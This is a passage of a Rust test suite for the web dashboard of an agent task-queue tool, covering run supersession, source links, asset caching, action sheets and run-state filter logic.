13049 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13050 assert!(
13051 alert.contains("position: fixed"),
13052 "an error about the thing under your thumb has to be visible from \
13053 where your thumb is: {alert}"
13054 );
13055 assert!(
13056 alert.contains("z-index: 25"),
13057 "above the dock (20) and the run-actions FAB (15), so neither \
13058 buries it: {alert}"
13059 );
13060 assert!(
13061 alert.contains("var(--tap)"),
13062 "and clear of the dock and the home indicator: {alert}"
13063 );
13064 assert!(
13067 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13068 "the FAB's column stays free: {alert}"
13069 );
13070 }
13071
13072 #[tokio::test]
13073 async fn an_older_attempt_says_what_replaced_it() {
13074 let fx = Fixture::start().await;
13075 let q = fx.queue();
13076 let runs = fx.runs();
13077 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13078 write_run(&runs, first, RunStatus::Stalled);
13079 write_run(&runs, second, RunStatus::Blocked);
13080
13081 let mut t = Task::new(
13082 "one task".to_owned(),
13083 "do it".to_owned(),
13084 PathBuf::from("/repo"),
13085 Source::Human,
13086 );
13087 t.runs = vec![first.to_owned(), second.to_owned()];
13088 q.put(&mut t).expect("put");
13089
13090 let rows = fx.get("/api/runs").await.json();
13094 let by = |short: &str| -> Value {
13095 rows.as_array()
13096 .unwrap()
13097 .iter()
13098 .find(|r| r["short"] == short)
13099 .cloned()
13100 .unwrap_or(Value::Null)
13101 };
13102 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13103 assert!(
13104 by("bbbb")["superseded_by"].is_null(),
13105 "the latest attempt is not superseded by anything"
13106 );
13107 assert!(APP_JS.contains("run.superseded_by"));
13109 assert!(APP_JS.contains("Superseded by"));
13110 }
13111
13112 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13113 let mut t = Task::new(
13114 "one task".to_owned(),
13115 "do it".to_owned(),
13116 PathBuf::from("/repo"),
13117 Source::Human,
13118 );
13119 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13120 t.status = status;
13121 t
13122 }
13123
13124 #[test]
13125 fn source_link_picks_the_page_that_filed_the_task() {
13126 let agent = |node: &str| Source::Agent {
13127 run: "20260904-014455-ab12".to_owned(),
13128 node: node.to_owned(),
13129 };
13130 let chat = source_link(&agent("chat")).expect("chat link");
13131 assert_eq!(chat.kind, "chat");
13132 assert_eq!(chat.id, "20260904-014455-ab12");
13133 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13134 let run = source_link(&agent("implement")).expect("run link");
13135 assert_eq!(
13136 (run.kind, run.href.as_str()),
13137 ("run", "#/runs/20260904-014455-ab12")
13138 );
13139 assert_eq!(source_link(&Source::Human), None);
13140 assert_eq!(
13141 source_link(&Source::Issue {
13142 number: 3,
13143 repo: "o/r".to_owned()
13144 }),
13145 None
13146 );
13147 let odd = source_link(&Source::Agent {
13148 run: "a b/c".to_owned(),
13149 node: "chat".to_owned(),
13150 })
13151 .expect("link");
13152 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13153 }
13154
13155 #[test]
13156 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13157 assert!(
13158 !APP_JS.contains("src.node === \"chat\""),
13159 "inline href rule is back"
13160 );
13161 assert!(
13162 APP_JS.matches("sourceLinkOf(").count() >= 4,
13163 "helper must serve every page"
13164 );
13165 assert!(
13166 APP_JS.matches("openChatLink(").count() >= 3,
13167 "the run page still needs its explicit chat link"
13168 );
13169 assert!(
13170 !APP_JS.contains("const openChat = el("),
13171 "the Queue card duplicates its source label link again"
13172 );
13173 assert!(
13174 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13175 "the task page must link a chat source label too"
13176 );
13177 }
13178
13179 #[test]
13180 fn task_ref_carries_the_source_link_for_a_chat_task() {
13181 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13182 t.source = Source::Agent {
13183 run: "20260904-014455-ab12".to_owned(),
13184 node: "chat".to_owned(),
13185 };
13186 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13187 let v = serde_json::to_value(&out).expect("json");
13188 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13189 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13190 assert_eq!(v["source_label"], t.source.label());
13191
13192 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13193 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13194 .expect("json");
13195 assert!(v["source_link"].is_null(), "{v}");
13196 }
13197
13198 #[test]
13199 fn task_view_serializes_source_link() {
13200 let mut t = Task::new(
13201 "t".to_owned(),
13202 "t".to_owned(),
13203 PathBuf::from("/repo"),
13204 Source::Agent {
13205 run: "20260901-000000-aaaa".to_owned(),
13206 node: "implement".to_owned(),
13207 },
13208 );
13209 t.runs.clear();
13210 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13211 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13212 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13213 }
13214
13215 #[tokio::test]
13216 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13217 let fx = Fixture::start().await;
13218 let runs = fx.runs();
13219 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13220 write_run(&runs, old, RunStatus::Blocked);
13221 write_run(&runs, new, RunStatus::Merged);
13222 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13223 fx.queue().put(&mut t).expect("put");
13224
13225 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13226 let task = &view["task"];
13227 assert_eq!(task["status"], "done");
13228 assert_eq!(task["is_latest"], false);
13229 assert_eq!(task["latest"]["short"], "bbbb");
13230 assert_eq!(task["finished_by"]["id"], new);
13231 assert_eq!(task["finished_by"]["outcome"], "merged");
13232 assert_eq!(task["closed_by_hand"], false);
13233 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13234 assert!(APP_JS.contains("finished_by"));
13235 assert!(APP_JS.contains("superseded by run"));
13236 }
13237
13238 #[tokio::test]
13239 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13240 let fx = Fixture::start().await;
13241 let runs = fx.runs();
13242 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13243 write_run(&runs, old, RunStatus::Stalled);
13244 write_run(&runs, new, RunStatus::Blocked);
13245 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13246 fx.queue().put(&mut t).expect("put");
13247
13248 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13249 assert_eq!(task["status"], "held");
13250 assert_eq!(task["is_latest"], true);
13251 assert!(task["latest"].is_null());
13252 assert!(task["finished_by"].is_null());
13253 assert_eq!(task["closed_by_hand"], false);
13254 }
13255
13256 #[tokio::test]
13257 async fn a_direct_run_has_no_task_outcome() {
13258 let fx = Fixture::start().await;
13259 let runs = fx.runs();
13260 let id = "20260901-000000-aaaa";
13261 write_run(&runs, id, RunStatus::Blocked);
13262 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13263 assert!(view["task"].is_null());
13264 }
13265
13266 #[test]
13267 fn task_outcome_does_not_guess_a_finishing_run() {
13268 let a = "20260901-000000-aaaa";
13269 let b = "20260901-000000-bbbb";
13270 let c = "20260901-000000-cccc";
13271 let dir = tempfile::tempdir().expect("tempdir");
13272 write_run(dir.path(), a, RunStatus::Blocked);
13273 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13274 let read = |id: &str| read_run(dir.path(), id).ok();
13276 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13279 let out = task_outcome(&t, a, 3, read);
13280 assert!(out.finished_by.is_none());
13281 assert!(out.closed_by_hand);
13282 let latest = out.latest.expect("latest");
13283 assert_eq!(latest.id, c);
13284 assert_eq!(latest.status, None);
13285 assert_eq!(latest.outcome, "record unreadable");
13286
13287 write_run(dir.path(), c, RunStatus::Ready);
13289 let t = outcome_task(&[a, c], TaskStatus::Done);
13290 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13291 assert_eq!(out.finished_by.expect("finisher").id, c);
13292 assert!(!out.closed_by_hand);
13293
13294 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13296 assert!(task_outcome(&t, a, 3, read).is_latest);
13297 }
13298
13299 #[tokio::test]
13300 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13301 let fx = Fixture::start().await;
13306 let q = fx.queue();
13307 let runs = fx.runs();
13308 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13309 write_run(&runs, first, RunStatus::Blocked);
13310 write_run(&runs, second, RunStatus::Merged);
13311
13312 let mut t = Task::new(
13313 "one task".to_owned(),
13314 "do it".to_owned(),
13315 PathBuf::from("/repo"),
13316 Source::Human,
13317 );
13318 t.runs = vec![first.to_owned(), second.to_owned()];
13319 q.put(&mut t).expect("put");
13320
13321 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13322 assert_eq!(earlier["superseded_by"], "dddd");
13323 assert_eq!(earlier["latest_attempt"]["id"], second);
13324 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13325 assert_eq!(
13326 earlier["latest_attempt"]["resolved"], true,
13327 "the run that replaced it landed, so this one reads as settled"
13328 );
13329
13330 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13331 assert!(
13332 later["superseded_by"].is_null(),
13333 "the latest attempt is not superseded by anything"
13334 );
13335 assert!(
13336 later["latest_attempt"].is_null(),
13337 "the latest attempt has no later attempt of its own"
13338 );
13339
13340 assert!(APP_JS.contains("run.latest_attempt"));
13347 assert!(APP_JS.contains("data-superseded"));
13348 assert!(APP_JS.contains("#/runs/${latest.id}"));
13349 }
13350
13351 #[tokio::test]
13352 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13353 let fx = Fixture::start().await;
13359 let q = fx.queue();
13360 let runs = fx.runs();
13361 let (a, b, c) = (
13362 "20260901-000000-aaaa",
13363 "20260901-000000-bbbb",
13364 "20260901-000000-cccc",
13365 );
13366 write_run(&runs, a, RunStatus::Blocked);
13367 write_run(&runs, b, RunStatus::Blocked);
13368 write_run(&runs, c, RunStatus::Merged);
13369
13370 let mut t = Task::new(
13371 "retried twice".to_owned(),
13372 "do it".to_owned(),
13373 PathBuf::from("/repo"),
13374 Source::Human,
13375 );
13376 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13377 q.put(&mut t).expect("put");
13378
13379 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13380 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13381 assert_eq!(
13382 view["latest_attempt"]["id"], c,
13383 "the chain's current head, not the intermediate Blocked retry"
13384 );
13385 assert_eq!(view["latest_attempt"]["resolved"], true);
13386
13387 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13388 assert_eq!(mid["latest_attempt"]["id"], c);
13389 assert_eq!(mid["latest_attempt"]["resolved"], true);
13390 }
13391
13392 #[tokio::test]
13393 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13394 let fx = Fixture::start().await;
13395 let q = fx.queue();
13396 let runs = fx.runs();
13397
13398 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13401 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13402 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13403 let mut t1 = Task::new(
13404 "still stuck".to_owned(),
13405 "do it".to_owned(),
13406 PathBuf::from("/repo"),
13407 Source::Human,
13408 );
13409 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13410 q.put(&mut t1).expect("put");
13411 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13412 assert_eq!(view1["latest_attempt"]["resolved"], false);
13413 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13414 assert_eq!(view1["latest_attempt"]["done"], true);
13415
13416 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13418 write_run(&runs, run_a, RunStatus::Blocked);
13419 write_run(&runs, run_b, RunStatus::Implementing);
13420 let mut t3 = Task::new(
13421 "retrying".to_owned(),
13422 "do it".to_owned(),
13423 PathBuf::from("/repo"),
13424 Source::Human,
13425 );
13426 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13427 q.put(&mut t3).expect("put");
13428 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13429 assert_eq!(view3["latest_attempt"]["id"], run_b);
13430 assert_eq!(view3["latest_attempt"]["resolved"], false);
13431 assert_eq!(view3["latest_attempt"]["done"], false);
13432
13433 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13438 write_run(&runs, noop_a, RunStatus::Blocked);
13439 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13440 let mut t2 = Task::new(
13441 "claims done".to_owned(),
13442 "do it".to_owned(),
13443 PathBuf::from("/repo"),
13444 Source::Human,
13445 );
13446 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13447 q.put(&mut t2).expect("put");
13448 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13449 assert_eq!(
13450 view2["latest_attempt"]["resolved"], false,
13451 "an unverified no-op claim must not read as a confirmed finish"
13452 );
13453
13454 assert!(APP_JS.contains("latest.resolved"));
13457 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13460 assert!(APP_JS.contains("Latest attempt: "));
13461 assert!(APP_JS.contains("in flight"));
13462 assert!(APP_JS.contains("not resolved"));
13463 }
13464
13465 #[tokio::test]
13466 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13467 let fx = Fixture::start().await;
13468 let js = fx.get("/app.js").await;
13474 assert_eq!(js.status, 200);
13475 let tag = js
13476 .header("etag")
13477 .expect("an etag to revalidate against")
13478 .to_owned();
13479 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13480 assert_eq!(
13481 js.header("cache-control"),
13482 Some("no-cache, must-revalidate"),
13483 "the phone has to ask every time"
13484 );
13485
13486 let again = fx
13489 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13490 .await;
13491 assert_eq!(
13492 again.status, 304,
13493 "a deck it already has costs one round trip"
13494 );
13495 assert!(again.body.is_empty(), "304 carries no body");
13496
13497 let weak = fx
13500 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13501 .await;
13502 assert_eq!(weak.status, 304);
13503 let stale = fx
13504 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13505 .await;
13506 assert_eq!(stale.status, 200, "an older build must be replaced");
13507 assert!(stale.body.contains("renderRunActions"));
13508 }
13509
13510 #[test]
13511 fn the_task_detail_has_an_actions_fab_and_sheet() {
13512 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13513 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13514 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13515 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13517 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13518 assert!(APP_JS.contains("renderTaskActions(task);"));
13520 assert!(APP_JS.contains("renderTaskActions(null);"));
13521 let sheet = APP_JS
13523 .find("function renderTaskActions")
13524 .expect("sheet renderer");
13525 let body = &APP_JS[sheet..sheet + 3000];
13526 assert!(body.contains("changePriority("));
13527 assert!(body.contains("openTaskEdit(task)"));
13528 assert!(body.contains("renderTaskHoldBox(host"));
13529 assert!(body.contains("renderTaskDoneBox(host"));
13530 assert!(body.contains("renderTaskDeleteBox(host"));
13531 assert!(APP_JS.contains("API.priority(id)"));
13532 assert!(APP_JS.contains("API.deleteTask(id)"));
13533 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13535 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13537 }
13538
13539 #[test]
13540 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13541 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13542 let actions = INDEX_HTML
13543 .find("id=\"run-actions-box\"")
13544 .expect("actions box");
13545 assert!(task < actions, "the task entry comes first in the sheet");
13546 assert!(APP_JS.contains("renderRunTaskEntry"));
13547 assert!(APP_JS.contains("\"Open task \""));
13548 assert!(APP_JS.contains("started directly, no task"));
13550 assert!(APP_JS.contains("sheet-task-link"));
13551 assert!(APP_JS.contains("task-chip-link"));
13552 }
13553
13554 #[test]
13555 fn the_deck_never_sends_the_operator_to_a_terminal() {
13556 assert!(
13559 !APP_JS.contains("Run `magi fold` first"),
13560 "the deck must offer the fold, not prescribe a shell command"
13561 );
13562 assert!(APP_JS.contains("foldRun:"));
13563 assert!(APP_JS.contains("resumeRun:"));
13564 assert!(APP_JS.contains("renderRunActions"));
13565
13566 assert!(APP_JS.contains("armedFold"));
13568 assert!(APP_JS.contains("Yes, fold worktrees"));
13569
13570 assert!(APP_JS.contains("can no longer be resumed"));
13573 }
13574
13575 #[test]
13576 fn a_finished_run_explains_itself_with_its_own_last_line() {
13577 assert!(
13583 !APP_JS.contains("collapsed on agent quota"),
13584 "a stall must not be explained by a cause the deck did not check"
13585 );
13586 assert!(
13587 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13588 "and a block must not offer a guess with an `or` in it"
13589 );
13590
13591 assert!(
13595 APP_JS.contains("setText(r.event, run.event || \"\")"),
13596 "the run's last line is rendered unconditionally"
13597 );
13598 assert!(
13599 !APP_JS.contains("moving && run.event"),
13600 "and never gated on the run still moving"
13601 );
13602
13603 assert!(APP_JS.contains("lost to quota"));
13605 }
13606
13607 #[test]
13629 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13630 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13631 let shapes_body_start =
13632 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13633 let shapes_close = APP_JS[shapes_body_start..]
13634 .find("].map(")
13635 .expect("the shape list is closed by its done-computing .map(...)")
13636 + shapes_body_start;
13637 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13638
13639 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13640 for entry in shapes_src.split('{').skip(1) {
13641 let waiting = entry.contains("waiting: true");
13642 let dead = entry.contains("live: \"dead\"");
13643 let status_at =
13644 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13645 let status_end = entry[status_at..]
13646 .find('"')
13647 .expect("the status string is closed")
13648 + status_at;
13649 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13650 }
13651 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13652
13653 let done_rule_marker = "done: !";
13657 let done_rule_at = APP_JS[shapes_close..]
13658 .find(done_rule_marker)
13659 .expect("the done rule follows the shape list")
13660 + shapes_close
13661 + done_rule_marker.len();
13662 let includes_at = APP_JS[done_rule_at..]
13663 .find(".includes(shape.status)")
13664 .expect("the done rule ends in .includes(shape.status)")
13665 + done_rule_at;
13666 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13667 .trim()
13668 .trim_start_matches('[')
13669 .trim_end_matches(']')
13670 .split(',')
13671 .map(|s| s.trim().trim_matches('"'))
13672 .filter(|s| !s.is_empty())
13673 .collect();
13674
13675 let shapes: Vec<(bool, String, bool, bool)> = shapes
13676 .into_iter()
13677 .map(|(waiting, status, dead)| {
13678 let done = !not_done.contains(&status.as_str());
13679 (waiting, status, dead, done)
13680 })
13681 .collect();
13682
13683 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13687 if waiting {
13688 return "waiting";
13689 }
13690 if dead
13691 && !matches!(
13692 status,
13693 "merged"
13694 | "ready"
13695 | "stalled"
13696 | "blocked"
13697 | "failed"
13698 | "verified_noop"
13699 | "superseded"
13700 | "already_in_base"
13701 )
13702 {
13703 return "stale";
13704 }
13705 match status {
13706 "merged" | "ready" => "landed",
13707 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13708 | "already_in_base" => "ended",
13709 _ => "flight",
13710 }
13711 }
13712
13713 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13716 match filter_key {
13717 "active" => !done,
13718 "flight" => !done && !waiting && !dead,
13719 "stale" => !done && !waiting && dead,
13720 "waiting" => waiting,
13721 "done" => done,
13722 "all" => true,
13723 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13724 }
13725 }
13726
13727 let compatible = |section: &str, filter_key: &str| {
13728 shapes.iter().any(|(waiting, status, dead, done)| {
13729 run_section(*waiting, status, *dead) == section
13730 && filter_matches(filter_key, *waiting, *dead, *done)
13731 })
13732 };
13733
13734 let expected = [
13739 ("waiting", [true, false, false, true, true, true]),
13740 ("stale", [true, false, true, false, false, true]),
13741 ("flight", [true, true, false, false, false, true]),
13742 ("landed", [false, false, false, false, true, true]),
13743 ("ended", [false, false, false, false, true, true]),
13744 ];
13745 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13746
13747 for (section, wants) in expected {
13748 for (filter_key, want) in filter_keys.iter().zip(wants) {
13749 assert_eq!(
13750 compatible(section, filter_key),
13751 want,
13752 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13753 );
13754 }
13755 }
13756
13757 assert!(
13760 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13761 );
13762 assert!(APP_JS.contains(
13763 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13764 ));
13765 assert!(APP_JS.contains(
13766 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
13767 ));
13768 }
13769
13770 #[tokio::test]
13771 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
13772 let dir = tempfile::tempdir().expect("tempdir");
13776 let explicit = dir.path().join("not-a-checkout");
13777 std::fs::create_dir_all(&explicit).expect("create dir");
13778 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
13779
13780 let missing = dir.path().join("does-not-exist-at-all");
13781 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
13782 }
13783}